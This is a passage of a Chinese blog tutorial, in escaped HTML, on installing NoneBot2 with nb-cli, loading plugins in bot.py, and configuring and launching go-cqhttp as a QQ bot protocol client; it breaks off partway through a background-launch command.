\u003ccode\u003enb-cli\u003c/code\u003e,\u003ccode\u003enonebot2\u003c/code\u003e 会作为其依赖被一起安装\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003epip3 \u003cspan class=\"token function\"\u003einstall\u003c/span\u003e nb-cli\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e这样我们就安装完成了,可以发现这里会安装一大堆的包,如果不在虚拟环境中很难保证不会产生冲突。\u003c/p\u003e\u003cp\u003e我们尝试运行下面命令,在虚拟环境目录下搭建一个机器人工程进行测试\u003c/p\u003e\u003cp\u003e记得\u003cstrong\u003e换好目录\u003c/strong\u003e,我忘了……bot现在在 \u003ccode\u003e/home/cyk/\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003enb create\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后一步一步安装就行(协议端使用的是\u003cstrong\u003ecqhttp\u003c/strong\u003e)\u003c/p\u003e\u003cp\u003e搭建完成后,我们可以在目录下可以看到一个和你bot名字一样的文件夹\u003c/p\u003e\u003cp\u003e进入后 \u003ccode\u003ebot.py\u003c/code\u003e ,就是我们的机器人初始化代码。而 src 内(或者和你bot名字一样的文件夹)的 plugins 文件夹则是我们存放机器人插件的地方\u003c/p\u003e\u003cp\u003e插件我们可以自己编写然后存入 plugins 中,也可以直接安装官方大佬们编写的插件使机器人可以快速上线\u003c/p\u003e\u003ch3 id=\"安装插件\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%AE%89%E8%A3%85%E6%8F%92%E4%BB%B6\" class=\"headerlink\" title=\"安装插件\"\u003e\u003c/a\u003e安装插件\u003c/h3\u003e\u003cp\u003e插件可以通过 \u003ccode\u003enb-cli\u003c/code\u003e 进行安装,也可以自行安装并加载插件。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token comment\"\u003e# 列出所有的插件\u003c/span\u003enb plugin list\u003cspan class=\"token comment\"\u003e# 搜索插件\u003c/span\u003enb plugin search xxx\u003cspan class=\"token comment\"\u003e# 安装插件\u003c/span\u003enb plugin \u003cspan class=\"token function\"\u003einstall\u003c/span\u003e xxx\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"加载插件\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%8A%A0%E8%BD%BD%E6%8F%92%E4%BB%B6\" class=\"headerlink\" title=\"加载插件\"\u003e\u003c/a\u003e加载插件\u003c/h3\u003e\u003ch4 id=\"加载内置插件\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%8A%A0%E8%BD%BD%E5%86%85%E7%BD%AE%E6%8F%92%E4%BB%B6\" class=\"headerlink\" title=\"加载内置插件\"\u003e\u003c/a\u003e加载内置插件\u003c/h4\u003e\u003cp\u003e在 \u003ccode\u003ebot.py\u003c/code\u003e 文件中添加以下行\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e nonebot\u003cspan class=\"token keyword\"\u003efrom\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eadapters\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ecqhttp \u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e Botnonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003einit\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003edriver \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eget_driver\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003edriver\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eregister_adapter\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;cqhttp\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e Bot\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# 注册 CQHTTP 的 Adapter\u003c/span\u003enonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eload_builtin_plugins\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# 加载 nonebot 内置插件\u003c/span\u003eapp \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eget_asgi\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e __name__ \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;__main__\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erun\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003eWARNING\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e目前, 内建插件仅支持 CQHTTP 的 Adapter\u003c/p\u003e\u003cp\u003e如果您使用的是其他 Adapter, 请移步该 Adapter 相应的文档\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cstrong\u003e这将会加载 nonebot 内置的插件,它包含:\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e命令 \u003ccode\u003esay\u003c/code\u003e:可由\u003cstrong\u003esuperuser\u003c/strong\u003e使用,可以将消息内容由特殊纯文本转为富文本\u003c/li\u003e\u003cli\u003e命令 \u003ccode\u003eecho\u003c/code\u003e:可由任何人使用,将消息原样返回\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e以上命令均需要指定机器人,即私聊、群聊内@机器人、群聊内称呼机器人昵称。参考 \u003ca href=\"https://v2.nonebot.dev/api/rule.html#to-me\"\u003eRule: to_me\u003c/a\u003e\u003c/p\u003e\u003ch4 id=\"加载插件目录\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%8A%A0%E8%BD%BD%E6%8F%92%E4%BB%B6%E7%9B%AE%E5%BD%95\" class=\"headerlink\" title=\"加载插件目录\"\u003e\u003c/a\u003e加载插件目录\u003c/h4\u003e\u003cp\u003e在 \u003ccode\u003ebot.py\u003c/code\u003e 文件中添加以下行\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e nonebotnonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003einit\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# 加载插件目录,该目录下为各插件,以下划线开头的插件将不会被加载\u003c/span\u003enonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eload_plugins\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;awesome_bot/plugins\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003eapp \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eget_asgi\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e __name__ \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;__main__\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erun\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e提示\u003c/p\u003e\u003cp\u003e加载插件目录时,目录下以 \u003ccode\u003e_\u003c/code\u003e 下划线开头的插件将不会被加载!\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e不能存在相同名称的插件!\u003c/strong\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"加载单个插件\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%8A%A0%E8%BD%BD%E5%8D%95%E4%B8%AA%E6%8F%92%E4%BB%B6\" class=\"headerlink\" title=\"加载单个插件\"\u003e\u003c/a\u003e加载单个插件\u003c/h4\u003e\u003cp\u003e在 \u003ccode\u003ebot.py\u003c/code\u003e 文件中添加以下行\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e nonebotnonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003einit\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# 加载一个 pip 安装的插件\u003c/span\u003enonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eload_plugin\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;nonebot_plugin_status\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# 加载本地的单独插件\u003c/span\u003enonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eload_plugin\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;awesome_bot.plugins.xxx\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003eapp \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eget_asgi\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e __name__ \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;__main__\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erun\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"其他方式\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%85%B6%E4%BB%96%E6%96%B9%E5%BC%8F\" class=\"headerlink\" title=\"其他方式\"\u003e\u003c/a\u003e其他方式\u003c/h4\u003e\u003cp\u003e看文档\u003c/p\u003e\u003ch4 id=\"运行结果\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E8%BF%90%E8%A1%8C%E7%BB%93%E6%9E%9C\" class=\"headerlink\" title=\"运行结果\"\u003e\u003c/a\u003e运行结果\u003c/h4\u003e\u003cp\u003e尝试运行 \u003ccode\u003enb run\u003c/code\u003e 或者 \u003ccode\u003epython bot.py\u003c/code\u003e,可以看到日志输出了类似如下内容\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e09-19 \u003cspan class=\"token number\"\u003e21\u003c/span\u003e:51:59 \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eINFO\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e nonebot \u003cspan class=\"token operator\"\u003e|\u003c/span\u003e Succeeded to \u003cspan class=\"token function\"\u003eimport\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;nonebot.plugins.base\u0026#34;\u003c/span\u003e09-19 \u003cspan class=\"token number\"\u003e21\u003c/span\u003e:51:59 \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eINFO\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e nonebot \u003cspan class=\"token operator\"\u003e|\u003c/span\u003e Succeeded to \u003cspan class=\"token function\"\u003eimport\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;plugin_in_folder\u0026#34;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"CQHTTP-协议使用指南\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#CQHTTP-%E5%8D%8F%E8%AE%AE%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97\" class=\"headerlink\" title=\"CQHTTP 协议使用指南\"\u003e\u003c/a\u003eCQHTTP 协议使用指南\u003c/h3\u003e\u003ch4 id=\"配置-CQHTTP-协议端(以-QQ-为例)\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E9%85%8D%E7%BD%AE-CQHTTP-%E5%8D%8F%E8%AE%AE%E7%AB%AF%EF%BC%88%E4%BB%A5-QQ-%E4%B8%BA%E4%BE%8B%EF%BC%89\" class=\"headerlink\" title=\"配置 CQHTTP 协议端(以 QQ 为例)\"\u003e\u003c/a\u003e配置 CQHTTP 协议端(以 QQ 为例)\u003c/h4\u003e\u003cp\u003e单纯运行 NoneBot 实例并不会产生任何效果,因为此刻 QQ 这边还不知道 NoneBot 的存在,也就无法把消息发送给它,因此现在需要使用一个无头 QQ 来把消息等事件上报给 NoneBot。\u003c/p\u003e\u003cp\u003eQQ 协议端举例:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://github.com/Mrs4s/go-cqhttp\"\u003ego-cqhttp\u003c/a\u003e(基于 \u003ca href=\"https://github.com/Mrs4s/MiraiGo\"\u003eMiraiGo\u003c/a\u003e)\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://github.com/yyuueexxiinngg/cqhttp-mirai/tree/embedded\"\u003ecqhttp-mirai-embedded\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://github.com/mamoe/mirai\"\u003eMirai\u003c/a\u003e+ \u003ca href=\"https://github.com/yyuueexxiinngg/cqhttp-mirai\"\u003ecqhttp-mirai\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://github.com/mamoe/mirai\"\u003eMirai\u003c/a\u003e+ \u003ca href=\"https://github.com/iTXTech/mirai-native\"\u003eMirai Native\u003c/a\u003e+ \u003ca href=\"https://github.com/richardchien/coolq-http-api\"\u003eCQHTTP\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://github.com/takayama-lily/onebot\"\u003eOICQ-http-api\u003c/a\u003e(基于 \u003ca href=\"https://github.com/takayama-lily/oicq\"\u003eOICQ\u003c/a\u003e)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e这里以 go-cqhttp为例\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e下载 go-cqhttp 对应平台的 release 文件,\u003ca href=\"https://github.com/Mrs4s/go-cqhttp/releases\"\u003e点此前往\u003c/a\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e我下载的\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://github.com/Mrs4s/go-cqhttp/releases/download/v1.0.0-beta4/go-cqhttp_1.0.0-beta4_linux_arm64.deb\"\u003ego-cqhttp_1.0.0-beta4_linux_arm64.deb\u003c/a\u003e\u003c/p\u003e\u003cp\u003e下载速度好慢的,找到个加速的网站\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://zygxsq.cn/github/\"\u003eGithub 加速下载 - 在线工具 (zygxsq.cn)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e安装教程\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/100959322\"\u003emanjaro安装deb包 - 知乎 (zhihu.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e不过我包解出来后双击安装的~\u003c/p\u003e\u003c/blockquote\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e运行 exe 文件或者使用 \u003ccode\u003e./go-cqhttp\u003c/code\u003e 启动\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e生成默认配置文件并修改默认配置(机器人目录下的 \u003ccode\u003econfig.yml\u003c/code\u003e )\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e uin: 机器人QQ号 password: 机器人密码 encrypt_password: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e password_encrypted: \u003cspan class=\"token string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e enable_db: \u003cspan class=\"token boolean\"\u003etrue\u003c/span\u003e access_token: \u003cspan class=\"token string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e relogin: \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e enabled: \u003cspan class=\"token boolean\"\u003etrue\u003c/span\u003e relogin_delay: \u003cspan class=\"token number\"\u003e3\u003c/span\u003e max_relogin_times: \u003cspan class=\"token number\"\u003e0\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e _rate_limit: \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e enabled: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e frequency: \u003cspan class=\"token number\"\u003e1\u003c/span\u003e bucket_size: \u003cspan class=\"token number\"\u003e1\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e ignore_invalid_cqcode: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e force_fragmented: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e heartbeat_interval: \u003cspan class=\"token number\"\u003e0\u003c/span\u003e http_config: \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e enabled: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e host: \u003cspan class=\"token string\"\u003e\u0026#34;0.0.0.0\u0026#34;\u003c/span\u003e port: \u003cspan class=\"token number\"\u003e5700\u003c/span\u003e timeout: \u003cspan class=\"token number\"\u003e0\u003c/span\u003e post_urls: \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e ws_config: \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e enabled: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e host: \u003cspan class=\"token string\"\u003e\u0026#34;0.0.0.0\u0026#34;\u003c/span\u003e port: \u003cspan class=\"token number\"\u003e6700\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e ws_reverse_servers: \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e enabled: \u003cspan class=\"token boolean\"\u003etrue\u003c/span\u003e reverse_url: ws://127.0.0.1:8080/cqhttp/ws reverse_api_url: ws://you_websocket_api.server reverse_event_url: ws://you_websocket_event.server reverse_reconnect_interval: \u003cspan class=\"token number\"\u003e3000\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e post_message_format: array use_sso_address: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e debug: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e log_level: \u003cspan class=\"token string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e web_ui: \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e enabled: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e host: \u003cspan class=\"token number\"\u003e127.0\u003c/span\u003e.0.1 web_ui_port: \u003cspan class=\"token number\"\u003e9999\u003c/span\u003e web_input: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e其中 \u003ccode\u003ews://127.0.0.1:8080/cqhttp/ws\u003c/code\u003e 中的 \u003ccode\u003e127.0.0.1\u003c/code\u003e 和 \u003ccode\u003e8080\u003c/code\u003e 应分别对应 nonebot 配置的 HOST 和 PORT。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e如果要修改\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e在机器人目录打开终端\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003enano\u003c/span\u003e .env.dev\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e打开该文件,里面的 host 和 port 就是我们工程与 cqhttp 建立联系的通道地址\u003c/p\u003e\u003cp\u003e\u003ccode\u003ecqhttp\u003c/code\u003e 是前述 \u003ccode\u003eregister_adapter\u003c/code\u003e 时传入的第一个参数,代表设置的 \u003ccode\u003eCQHTTPBot\u003c/code\u003e 适配器的路径,你可以对不同的适配器设置不同路径以作区别。\u003c/p\u003e\u003ch3 id=\"启动机器人\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%90%AF%E5%8A%A8%E6%9C%BA%E5%99%A8%E4%BA%BA\" class=\"headerlink\" title=\"启动机器人\"\u003e\u003c/a\u003e启动机器人\u003c/h3\u003e\u003cp\u003e注意go-cqhttp目录\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003ewhich\u003c/span\u003e go-cqhttp\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e我的是在\u003ccode\u003e/usr/bin/go-cqhttp\u003c/code\u003e\u003c/p\u003e\u003cp\u003e打开一个终端\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e./go-cqhttp\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e也可设置后台启动\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003enohup\u003c/span\u003e /usr/bin/go-cqhttp \u003cspan class=\"token operator\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e cqhttp.log \u003cspan class=\"token operator\"\u003e\u003cspan class=\"token file-descriptor 